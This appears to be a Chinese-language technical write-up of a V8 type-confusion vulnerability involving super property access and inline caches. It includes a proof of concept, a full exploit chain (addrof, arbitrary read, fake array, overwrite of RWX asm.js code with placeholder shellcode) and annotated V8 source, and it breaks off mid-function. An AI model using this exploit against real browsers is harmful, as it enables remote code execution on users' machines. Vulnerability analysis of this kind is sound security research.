信息收集

CVE 对应的 IssueIssue 1203122 ,是一个类型混淆的洞。同时非常贴心的给了 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function main() {
class C {
m() {
super.prototype
}
}
function f() {}
C.prototype.__proto__ = f

let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2

f.prototype
c.m()
}
for (let i = 0; i < 0x100; ++i) {
main()
}

还有 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
const H = new class {
constructor() {
const ab = new ArrayBuffer(8)
this.u32a = new Uint32Array(ab)
this.d64a = new Float64Array(ab)
}
i2d(low, high=0) {
this.u32a[0] = low
this.u32a[1] = high
return this.d64a[0]
}
d2i(d) {
this.d64a[0] = d
return [this.u32a[0], this.u32a[1]]
}
}

function leak_addrof_elements() {
class O extends Object {
constructor() {
super()
this.x0 = this
this[0] = 0x41424344 / 2
this[1] = 0x45464748 / 2
}
m() {
return super.length
}
}

const o = new O()

function f() {
const proto = new String("a")
O.prototype.__proto__ = proto
proto.length
return o.m()
}

for (var i = 0; i < 0x100; ++i) {
const value = f()
if (value !== 1) {
return [o, value-1]
}
}
}

const [o, o_fa_addr] = leak_addrof_elements()

const [read, addrof] = (function () {
class A extends Array {
constructor() {
super(1, 2)
}
m() {
return super.length
}
}
const a = new A()
function f() {
const proto = new String("a")
A.prototype.__proto__ = proto
proto.length
return a.m()
}

for (let i = 0; i < 0x100; ++i) {
const value = f()
if (value !== 1) {
break
}
}

function read(addr) {
a.length = (addr - 8) / 2
const l3 = f(0)
a.length = (addr - 8 + 2) / 2
const h3 = f(0)
return ((h3 << 8) & 0xff000000) + (l3 >> 8)
}

function addrof(obj) {
o[0] = obj
return read(o_fa_addr + 8) - 1
}

return [read, addrof]
}())

const shellcode = [0x90909090, 0x90909090, 0xcccccccc, 0x90909090]
function Module() {
"use asm"
function f() {}
return {f: f}
}

const da = [
1,1, 1.1,
2.2, 2.2,
3.3, 3.3,
4.4, 4.4
]
const da_helper = [1.1]
const oa_helper = [{x: 0x41414142/2}]
const buf_helper = new ArrayBuffer(0x100)
const dv_helper = new DataView(buf_helper)
for (let i = 0; i < 0x100/4; ++i) {
dv_helper.setUint32(i*4, 0x41414100 + i)
}

const da_addr = addrof(da)
const da_elements_addr = da_addr - 0x50
const da_map = read(da_addr)

const map_map = read(da_map-1)

const fake_array_addr = da_elements_addr + 0x28
const fake_elements_addr = da_elements_addr + 0x38

da[0] = H.i2d((map_map&0xffffff)<<8, (map_map>>24) & 0xff)
da[1] = H.i2d(0)
da[2] = H.i2d(((fake_array_addr+1)&0xffffff)<<8, ((fake_array_addr+1)>>24))
da[3] = H.i2d(0)
da[4] = H.i2d(da_map)
da[5] = H.i2d(fake_elements_addr+1, 0x1000)
da[6]

const fake_array = (function () {
class A extends Array {
constructor() {
super(1, 2, 3, 4)
this.x1 = 0x41414142 / 2
this.x2 = 0x42424242 / 2
this.x3 = 0x43434344 / 2
this.x4 = (da_elements_addr + 8 + 2) / 2
}
m() {
return super.prototype
}
}

const a = new A()

function f() {
const proto = function () {}
A.prototype.__proto__ = proto
proto.prototype
return a.m()
}

for (var i = 0; i < 0x100; ++i) {
const value = f()
if (value.length !== undefined) {
return value
}
}
}())

function arb_read(addr) {
fake_array[7] = H.i2d(addr-0x8+1, 0x5)
return H.d2i(da_helper[0])
}

function arb_write() {
//
}

const evil_func = Module().f
evil_func()

const evil_func_addr = addrof(evil_func)
const shared_info_addr = arb_read(evil_func_addr + 0xc)[0]-1
const [rwx_l, rwx_h] = arb_read(shared_info_addr - 0xb8)

fake_array[19] = H.i2d(0, rwx_l)
fake_array[20] = H.i2d(rwx_h, 0)
shellcode.forEach((v, i) => {
dv_helper.setUint32(i*4, v)
})

evil_func()

Patch 如下

Untitled.png

Untitled 1.png

[accessor-assembler.cc](https://chromium.googlesource.com/v8/v8/+/387c803020c331ea4203c85b3bb6d9d714457375/src/ic/accessor-assembler.cc) 中将传入的 receiver 改为了 lookup_start_object[ic.cc](https://chromium.googlesource.com/v8/v8/+/387c803020c331ea4203c85b3bb6d9d714457375/src/ic/ic.cc) 中也是如此

前置知识

ICs(Inline Caches)V8 中根据 Shape 进行快速访问的缓存,对于某代码语句比如 this.x = x ,比较上次执行到该语句时缓存的 Map 和对象当前的 Map 是否相同,如果相同则执行对应的 IC-Hit 代码,反之执行 IC-Miss 代码。在 V8 中,其会在对象上添加一个名为 type_feedback_vector 的数组成员(也称类型反馈向量),对于每处可能产生 IC 的代码,其 type_feedback_vector 会缓存上一次执行至该语句时对象的 Map 和对应的 IC-Hit 代码(在 V8 内部称为 IC-Hit Handler)。

例如我们对于下面的语句:

1
2
3
4
5
6
7
function Point(x,y) {
this.x = x;
this.y = y;
}
var p = new Point(0,1);
var q = new Point(2,3);
var r = new Point(4,5);

this.x = x 的时候生成 map0 ,在 this.y = y 的时候生成 map1Point 对象的type_feedback_vector 数据内容如下所示:

数组下标 IC对应的源码 缓存的Map和对应的IC-Hit Handler
0 this.x = x <map0, ic-hit handler>
1 this.y = y <map1, ic-hit handler>

总结一下就是,type_feedback_vector 缓存了 Map 和与之对应的 IC-Hit HandlerIC 相关的逻辑就可以简化为通过访问 type_feedback_vector 即可判断是否 IC Hint 并执行对应的 IC-Hit Handler

IC 可以用状态机直观的描述:

Untitled 2.png

初始为 uninitialized 状态,在经过一次 IC Miss 后变为 pre-monomorphic 态,再经过一次 IC Miss 后变为 monomorphic 态,如果一直 IC Hit 则保持在 monomorphic 态;否则再次经过 IC Miss 后变为 polymorphic 态。在 polymorphic 态如果继续 IC Miss 四次则进入 megamophic 态并稳定下来。在到达 megamorphic 态的时候,此时 MapIC-Hit Handler 便不会再缓存在 feedback_vector 中,而是存储在固定大小的全局 hashtable 中,如果 IC 态多于 hashtable 的大小,则会对之前的缓存进行覆盖。(也就是 stub cache

以上面提到的代码为例

  • 第一次执行 this.x = x 语句时,Point.type_feedback_vector 为空,所以发生 IC Miss 后变为 pre-monomorphic 态。IC-Miss Handler 会分析出此时 this 对象的 Map 中不包含属性 x,因此会添加成员 x,接着会发生 Map Transition ,从 Map0 变为 Map1 。考虑到绝大部分函数只会被调用一次,所以 V8 的策略是发生第一次 IC-Miss 时,并不会缓存此时的 map,也不会产生 IC-Hit handler
  • 第二次执行 this.x = x 语句时,Point.type_feedback_vector 为空,所以发生 IC Miss 后变为 monomorphic 态。此时 IC-Miss Hanlder 除了发生 Map Transition 之外,还会编译生成 IC-Hit Handler,并将 map0IC Hit Handler 缓存到 Point.type_feedback_vector 中。
  • 第三次执行 this.x = x 语句时,Point.type_feedback_vector 不为空且有缓存 map0 的信息,由于此时的 map 一致,因此会直接调用 IC-Hit Handler 来添加成员 x 并进行 Map transition

但是我在实际的 v8 源码阅读和使用中,并没有见到 pre-monomorphic 的状态,而且在 uninitialized 之前还有 no feedback 的状态,IC 有 Lazy_feedback_allocation 的机制,所以会在第 9 次才会到 uninitialized

下面是一些 feedbackvector 的细节信息:

Untitled 3.png

对于 load 操作来说,会产生 LdaNamedProperty 字节码对照着源码来看,其是在 interpreter-generator.cc 中生成的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// LdaNamedProperty <object> <name_index> <slot>
//
// Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at
// constant pool entry <name_index>.
IGNITION_HANDLER(LdaNamedProperty, InterpreterAssembler) {
TNode<HeapObject> feedback_vector = LoadFeedbackVector();

// Load receiver.
TNode<Object> recv = LoadRegisterAtOperandIndex(0);

// Load the name and context lazily.
LazyNode<TaggedIndex> lazy_slot = [=] {
return BytecodeOperandIdxTaggedIndex(2);
};
LazyNode<Name> lazy_name = [=] {
return CAST(LoadConstantPoolEntryAtOperandIndex(1));
};
LazyNode<Context> lazy_context = [=] { return GetContext(); };

Label done(this);
TVARIABLE(Object, var_result);
ExitPoint exit_point(this, &done, &var_result);

AccessorAssembler::LazyLoadICParameters params(lazy_context, recv, lazy_name,
lazy_slot, feedback_vector);
AccessorAssembler accessor_asm(state());
accessor_asm.LoadIC_BytecodeHandler(&params, &exit_point);

BIND(&done);
{
SetAccumulator(var_result.value());
Dispatch();
}
}

其加载 receiver(recv)property name(lazy_name) ,对于 o.x 来说,receiver 就是 oproperty name 就是 x

随后到 AccessorAssembler::LoadIC_BytecodeHandler ,主要分为七个部分:

第一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//////////////////// Entry points into private implementation (one per stub).

void AccessorAssembler::LoadIC_BytecodeHandler(const LazyLoadICParameters* p,
ExitPoint* exit_point) {
// Must be kept in sync with LoadIC.

// This function is hand-tuned to omit frame construction for common cases,
// e.g.: monomorphic field and constant loads through smi handlers.
// Polymorphic ICs with a hit in the first two entries also omit frames.
// TODO(jgruber): Frame omission is fragile and can be affected by minor
// changes in control flow and logic. We currently have no way of ensuring
// that no frame is constructed, so it's easy to break this optimization by
// accident.
Label stub_call(this, Label::kDeferred), miss(this, Label::kDeferred),
no_feedback(this, Label::kDeferred);

GotoIf(IsUndefined(p->vector()), &no_feedback); // 判断是否含有feedbackvector,不是的话跳到no_feedback

TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->receiver_and_lookup_start_object()); // 获取lookup_start_object(要处理的对象)的map
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss); // 判断lookup_start_object的map是否为deprecated map(过期的map),是的话跳到miss

...

// Usable in cases where the receiver and the lookup start object are
// expected to be the same, i.e., when "receiver != lookup_start_object"
// case is not supported or not expected by the surrounding code.
TNode<Object> receiver_and_lookup_start_object() const {
DCHECK_EQ(receiver_, lookup_start_object_);
return receiver_; // 返回receiver
}

主要做了两件事:

  • 判断是否含有 feedbackvector ,不是的话跳到 no_feedback
  • 判断 lookup_start_objectmap 是否为 deprecated map (过期的map

第二部分:

1
2
3
4
5
6
7
8
9
10
11
// Inlined fast path.
// 内联快速路径
{
Comment("LoadIC_BytecodeHandler_fast");

TVARIABLE(MaybeObject, var_handler);
Label try_polymorphic(this), if_handler(this, &var_handler);

TNode<MaybeObject> feedback = TryMonomorphicCase(
p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler,
&var_handler, &try_polymorphic); // 判断IC是否处于Monomorphic状态

这里主要是判断了 IC 是否处于 Monomorphic 状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
TNode<MaybeObject> AccessorAssembler::TryMonomorphicCase(
TNode<TaggedIndex> slot, TNode<FeedbackVector> vector,
TNode<Map> lookup_start_object_map, Label* if_handler,
TVariable<MaybeObject>* var_handler, Label* if_miss) {
Comment("TryMonomorphicCase");
DCHECK_EQ(MachineRepresentation::kTagged, var_handler->rep());

// TODO(ishell): add helper class that hides offset computations for a series
// of loads.
int32_t header_size =
FeedbackVector::kRawFeedbackSlotsOffset - kHeapObjectTag; // 计算feedbackvector的头大小
// Adding |header_size| with a separate IntPtrAdd rather than passing it
// into ElementOffsetFromIndex() allows it to be folded into a single
// [base, index, offset] indirect memory access on x64.
TNode<IntPtrT> offset = ElementOffsetFromIndex(slot, HOLEY_ELEMENTS); // 计算offset
TNode<MaybeObject> feedback = ReinterpretCast<MaybeObject>(
Load(MachineType::AnyTagged(), vector,
IntPtrAdd(offset, IntPtrConstant(header_size)))); // 取出feedbackvector中存储的map信息

// Try to quickly handle the monomorphic case without knowing for sure
// if we have a weak reference in feedback.
GotoIfNot(IsWeakReferenceTo(feedback, lookup_start_object_map), if_miss); // 判断feedback是否是lookup_start_object_map的弱引用,不是的话就跳到miss;是的话则代表是monomorphic状态

TNode<MaybeObject> handler = UncheckedCast<MaybeObject>(
Load(MachineType::AnyTagged(), vector,
IntPtrAdd(offset, IntPtrConstant(header_size + kTaggedSize)))); // 取出对应的handle

*var_handler = handler;
Goto(if_handler);
return feedback; // 返回feedback
}

TryMonomorphicCase 里会取出 feedbackvector 中存储的 map 信息并和 lookup_start_object map 的信息进行对比,如果 map 是弱引用的话则证明是 monomorphic 状态,取出对应的 handle 并返回 feedback ;不是的话则跳到 miss

第三部分

1
2
BIND(&if_handler);
HandleLoadICHandlerCase(p, CAST(var_handler.value()), &miss, exit_point); // 调用handle,也就是LoadIC的实现

也就是对应的 LoadIC 的实现,会调用 AccessorAssembler::HandleLoadICHandlerCase 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void AccessorAssembler::HandleLoadICHandlerCase(
const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements, LoadAccessMode access_mode) {
Comment("have_handler");

TVARIABLE(Object, var_holder, p->lookup_start_object());
TVARIABLE(Object, var_smi_handler, handler);

Label if_smi_handler(this, {&var_holder, &var_smi_handler});
Label try_proto_handler(this, Label::kDeferred),
call_handler(this, Label::kDeferred);

Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler); // 判断handle是否为SMI

BIND(&try_proto_handler);
{
GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
&if_smi_handler, miss, exit_point, ic_mode,
access_mode);
}

// |handler| is a Smi, encoding what to do. See SmiHandler methods
// for the encoding format.
BIND(&if_smi_handler);
{
HandleLoadICSmiHandlerCase(
p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
}

BIND(&call_handler);
{
exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
p->context(), p->receiver(), p->name(),
p->slot(), p->vector());
}
}

判断 handle 是否为 smi_handle ,如果是则调用 HandleLoadICSmiHandlerCase ,否则判断 handlemap 是否为 code map ,是的话则直接 call_handler,否则调用 HandleLoadICProtoHandler

V8IC 中共有四种 handle ,我们可以通过 LoadHandler::PrintHandler 来打印他们

Untitled 4.png

随后我们主要研究一下 SmiHandle ,查看 AccessorAssembler::HandleLoadICSmiHandlerCase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
void AccessorAssembler::HandleLoadICSmiHandlerCase(
const LazyLoadICParameters* p, TNode<Object> holder, TNode<Smi> smi_handler,
TNode<Object> handler, Label* miss, ExitPoint* exit_point, ICMode ic_mode,
OnNonExistent on_nonexistent, ElementSupport support_elements,
LoadAccessMode access_mode) {
TVARIABLE(Float64T, var_double_value);
Label rebox_double(this, &var_double_value);

TNode<IntPtrT> handler_word = SmiUntag(smi_handler); // 算数右移
TNode<IntPtrT> handler_kind =
Signed(DecodeWord<LoadHandler::KindBits>(handler_word)); // 解码

if (support_elements == kSupportElements) {
Label if_element(this), if_indexed_string(this), if_property(this),
if_hole(this), unimplemented_elements_kind(this),
if_oob(this, Label::kDeferred), try_string_to_array_index(this),
emit_element_load(this);
TVARIABLE(IntPtrT, var_intptr_index);
GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kElement)), // 当handle的类型为kElement的时候,跳到if_element
&if_element);

if (access_mode == LoadAccessMode::kHas) { // 当访问模式是kHas的时候
CSA_ASSERT(this,
WordNotEqual(handler_kind,
IntPtrConstant(LoadHandler::kIndexedString)));
Goto(&if_property); // 当handler_kind不是kIndexedString的时候跳到if_property
} else {
Branch(
WordEqual(handler_kind, IntPtrConstant(LoadHandler::kIndexedString)),
&if_indexed_string, &if_property); // 当handler_kind是kIndexedString的时候跳到if_indexed_string,否则跳到if_property
}

BIND(&if_element);
{
Comment("element_load");
TVARIABLE(Int32T, var_instance_type);
TNode<IntPtrT> intptr_index = TryToIntptr(
p->name(), &try_string_to_array_index, &var_instance_type);
var_intptr_index = intptr_index; // 获取index的int指针
Goto(&emit_element_load); // 跳到emit_element_load

BIND(&try_string_to_array_index);
{
GotoIfNot(IsStringInstanceType(var_instance_type.value()), miss); // 当var_instance_type不是string的实例的时候跳到miss

TNode<ExternalReference> function = ExternalConstant(
ExternalReference::string_to_array_index_function());
TNode<Int32T> result = UncheckedCast<Int32T>(
CallCFunction(function, MachineType::Int32(),
std::make_pair(MachineType::AnyTagged(), p->name()))); // 将string转为数组的index
GotoIf(Word32Equal(Int32Constant(-1), result), miss); // 当转换失败,跳到miss
CSA_ASSERT(this, Int32GreaterThanOrEqual(result, Int32Constant(0)));
var_intptr_index = ChangeInt32ToIntPtr(result); // 获取index的int指针

Goto(&emit_element_load); // 跳到emit_element_load
}

BIND(&emit_element_load);
{
TNode<BoolT> is_jsarray_condition =
IsSetWord<LoadHandler::IsJsArrayBits>(handler_word); // 当handler_word是set的操作的时候
TNode<Uint32T> elements_kind =
DecodeWord32FromWord<LoadHandler::ElementsKindBits>(handler_word); // 解码得到elements_kind
ElementLoad(CAST(holder), elements_kind, var_intptr_index.value(),
is_jsarray_condition, &if_hole, &rebox_double,
&var_double_value, &unimplemented_elements_kind,
&if_oob, miss, exit_point, access_mode); // 进行element的load操作,如果越界读取则跳到if_oob
}
}

BIND(&unimplemented_elements_kind); // 当出现了不支持的情况,断点触发并跳到miss
{
// Smi handlers should only be installed for supported elements kinds.
// Crash if we get here.
DebugBreak();
Goto(miss);
}

BIND(&if_oob);
{
Comment("out of bounds elements access");
Label return_undefined(this);

// Check if we're allowed to handle OOB accesses.
TNode<BoolT> allow_out_of_bounds =
IsSetWord<LoadHandler::AllowOutOfBoundsBits>(handler_word); // 检查是否允许OOB访问
GotoIfNot(allow_out_of_bounds, miss); // 不允许,跳到miss

// Negative indices aren't valid array indices (according to
// the ECMAScript specification), and are stored as properties
// in V8, not elements. So we cannot handle them here, except
// in case of typed arrays, where integer indexed properties
// aren't looked up in the prototype chain.
GotoIf(IsJSTypedArray(CAST(holder)), &return_undefined);
if (Is64()) {
GotoIfNot(
UintPtrLessThanOrEqual(var_intptr_index.value(),
IntPtrConstant(JSArray::kMaxArrayIndex)),
miss); // 当index大于kMaxArrayIndex,跳到miss
} else {
GotoIf(IntPtrLessThan(var_intptr_index.value(), IntPtrConstant(0)),
miss); // 当index为负数且小于0,跳到miss
}

// For all other receivers we need to check that the prototype chain
// doesn't contain any elements.
BranchIfPrototypesHaveNoElements(LoadMap(CAST(holder)), &return_undefined,
miss); // 检查原型链是否含有元素,没有的话就跳到return_undefined,有的话就跳到miss

BIND(&return_undefined);
exit_point->Return(access_mode == LoadAccessMode::kHas
? FalseConstant()
: UndefinedConstant()); // 当访问模式为kHas的时候,没有元素返回false,否则返回undefined
}

BIND(&if_hole);
{
Comment("convert hole");

GotoIfNot(IsSetWord<LoadHandler::ConvertHoleBits>(handler_word), miss); // 当handle不是set的操作,跳到miss
GotoIf(IsNoElementsProtectorCellInvalid(), miss);
exit_point->Return(access_mode == LoadAccessMode::kHas
? FalseConstant()
: UndefinedConstant()); // 当访问模式为kHas的时候,没有元素返回false,否则返回undefined
}

if (access_mode != LoadAccessMode::kHas) { // 当访问模式不是kHas的时候
BIND(&if_indexed_string);
{
Label if_oob(this, Label::kDeferred);

Comment("indexed string");
TNode<String> string_holder = CAST(holder);
TNode<UintPtrT> index = Unsigned(TryToIntptr(p->name(), miss)); // 访问的对象转为index
TNode<UintPtrT> length =
Unsigned(LoadStringLengthAsWord(string_holder)); // 获取string_holder的字符长度
GotoIf(UintPtrGreaterThanOrEqual(index, length), &if_oob); // 当index大于length的时候,跳到if_oob
TNode<Int32T> code = StringCharCodeAt(string_holder, index); // 找到code at的code
TNode<String> result = StringFromSingleCharCode(code); // 得到result
Return(result); // 返回

BIND(&if_oob);
TNode<BoolT> allow_out_of_bounds =
IsSetWord<LoadHandler::AllowOutOfBoundsBits>(handler_word);
GotoIfNot(allow_out_of_bounds, miss);
GotoIf(IsNoElementsProtectorCellInvalid(), miss);
Return(UndefinedConstant());
}
}

BIND(&if_property);
Comment("property_load");
}

if (access_mode == LoadAccessMode::kHas) {
HandleLoadICSmiHandlerHasNamedCase(p, holder, handler_kind, miss,
exit_point, ic_mode);
} else {
HandleLoadICSmiHandlerLoadNamedCase(
p, holder, handler_kind, handler_word, &rebox_double, &var_double_value,
handler, miss, exit_point, ic_mode, on_nonexistent, support_elements);
}
}

主要针对比较通常的部分进行了实现,同时对 NamedCase 进行了更加细化的操作,分别使用了 HandleLoadICSmiHandlerHasNamedCaseHandleLoadICSmiHandlerLoadNamedCase

AccessorAssembler::HandleLoadICSmiHandlerHasNamedCase 中主要针对不同的情况进行了判断,比较好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
void AccessorAssembler::HandleLoadICSmiHandlerHasNamedCase(
const LazyLoadICParameters* p, TNode<Object> holder,
TNode<IntPtrT> handler_kind, Label* miss, ExitPoint* exit_point,
ICMode ic_mode) {
Label return_true(this), return_false(this), return_lookup(this),
normal(this), global(this), slow(this);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kField)),
&return_true);

GotoIf(WordEqual(handler_kind,
IntPtrConstant(LoadHandler::kConstantFromPrototype)),
&return_true);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNonExistent)),
&return_false);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNormal)),
&normal);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kAccessor)),
&return_true);

GotoIf(
WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNativeDataProperty)),
&return_true);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kApiGetter)),
&return_true);

GotoIf(WordEqual(handler_kind,
IntPtrConstant(LoadHandler::kApiGetterHolderIsPrototype)),
&return_true);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kSlow)), &slow);

Branch(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kGlobal)), &global,
&return_lookup);

BIND(&return_true);
exit_point->Return(TrueConstant());

BIND(&return_false);
exit_point->Return(FalseConstant());

BIND(&return_lookup);
{
CSA_ASSERT(
this,
Word32Or(
WordEqual(handler_kind, IntPtrConstant(LoadHandler::kInterceptor)),
Word32Or(
WordEqual(handler_kind, IntPtrConstant(LoadHandler::kProxy)),
WordEqual(handler_kind,
IntPtrConstant(LoadHandler::kModuleExport)))));
exit_point->ReturnCallStub(
Builtins::CallableFor(isolate(), Builtins::kHasProperty), p->context(),
p->receiver(), p->name());
}

BIND(&normal);
{
Comment("has_normal");
TNode<NameDictionary> properties = CAST(LoadSlowProperties(CAST(holder)));
TVARIABLE(IntPtrT, var_name_index);
Label found(this);
NameDictionaryLookup<NameDictionary>(properties, CAST(p->name()), &found,
&var_name_index, miss);

BIND(&found);
exit_point->Return(TrueConstant());
}

BIND(&global);
{
CSA_ASSERT(this, IsPropertyCell(CAST(holder)));
// Ensure the property cell doesn't contain the hole.
TNode<Object> value =
LoadObjectField(CAST(holder), PropertyCell::kValueOffset);
GotoIf(IsTheHole(value), miss);

exit_point->Return(TrueConstant());
}

BIND(&slow);
{
Comment("load_slow");
if (ic_mode == ICMode::kGlobalIC) {
exit_point->ReturnCallRuntime(Runtime::kLoadGlobalIC_Slow, p->context(),
p->name(), p->slot(), p->vector());
} else {
exit_point->ReturnCallRuntime(Runtime::kHasProperty, p->context(),
p->receiver(), p->name());
}
}
}

AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase 同样,也是针对各个情况进行了分别的处理,这里不再赘述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(
const LazyLoadICParameters* p, TNode<Object> holder,
TNode<IntPtrT> handler_kind, TNode<WordT> handler_word, Label* rebox_double,
TVariable<Float64T>* var_double_value, TNode<Object> handler, Label* miss,
ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
ElementSupport support_elements) {
Label constant(this), field(this), normal(this, Label::kDeferred),
slow(this, Label::kDeferred), interceptor(this, Label::kDeferred),
nonexistent(this), accessor(this, Label::kDeferred),
global(this, Label::kDeferred), module_export(this, Label::kDeferred),
proxy(this, Label::kDeferred),
native_data_property(this, Label::kDeferred),
api_getter(this, Label::kDeferred);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kField)), &field);

GotoIf(WordEqual(handler_kind,
IntPtrConstant(LoadHandler::kConstantFromPrototype)),
&constant);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNonExistent)),
&nonexistent);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNormal)),
&normal);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kAccessor)),
&accessor);

GotoIf(
WordEqual(handler_kind, IntPtrConstant(LoadHandler::kNativeDataProperty)),
&native_data_property);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kApiGetter)),
&api_getter);

GotoIf(WordEqual(handler_kind,
IntPtrConstant(LoadHandler::kApiGetterHolderIsPrototype)),
&api_getter);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kGlobal)),
&global);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kSlow)), &slow);

GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kProxy)), &proxy);

Branch(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kModuleExport)),
&module_export, &interceptor);

BIND(&field);
HandleLoadField(CAST(holder), handler_word, var_double_value, rebox_double,
miss, exit_point);

BIND(&nonexistent);
// This is a handler for a load of a non-existent value.
if (on_nonexistent == OnNonExistent::kThrowReferenceError) {
exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
p->name());
} else {
DCHECK_EQ(OnNonExistent::kReturnUndefined, on_nonexistent);
exit_point->Return(UndefinedConstant());
}

BIND(&constant);
{
Comment("constant_load");
exit_point->Return(holder);
}

BIND(&normal);
{
Comment("load_normal");
TNode<NameDictionary> properties = CAST(LoadSlowProperties(CAST(holder)));
TVARIABLE(IntPtrT, var_name_index);
Label found(this, &var_name_index);
NameDictionaryLookup<NameDictionary>(properties, CAST(p->name()), &found,
&var_name_index, miss); // 字典遍历
BIND(&found);
{
TVARIABLE(Uint32T, var_details);
TVARIABLE(Object, var_value);
LoadPropertyFromNameDictionary(properties, var_name_index.value(),
&var_details, &var_value); // 从字典中读取Property
TNode<Object> value = CallGetterIfAccessor(
var_value.value(), CAST(holder), var_details.value(), p->context(),
p->receiver(), miss); // 使用Getter获取value
exit_point->Return(value);
}
}

BIND(&accessor);
{
Comment("accessor_load");
TNode<IntPtrT> descriptor =
Signed(DecodeWord<LoadHandler::DescriptorBits>(handler_word)); // 解码得到descriptor
TNode<AccessorPair> accessor_pair =
CAST(LoadDescriptorValue(LoadMap(CAST(holder)), descriptor)); // 获取accessor对
TNode<Object> getter =
LoadObjectField(accessor_pair, AccessorPair::kGetterOffset); // 获取getter
CSA_ASSERT(this, Word32BinaryNot(IsTheHole(getter)));

exit_point->Return(Call(p->context(), getter, p->receiver())); // 通过getter获取内容
}

BIND(&native_data_property);
HandleLoadCallbackProperty(p, CAST(holder), handler_word, exit_point);

BIND(&api_getter);
HandleLoadAccessor(p, CAST(holder), handler_word, CAST(handler), handler_kind,
exit_point);

BIND(&proxy);
{
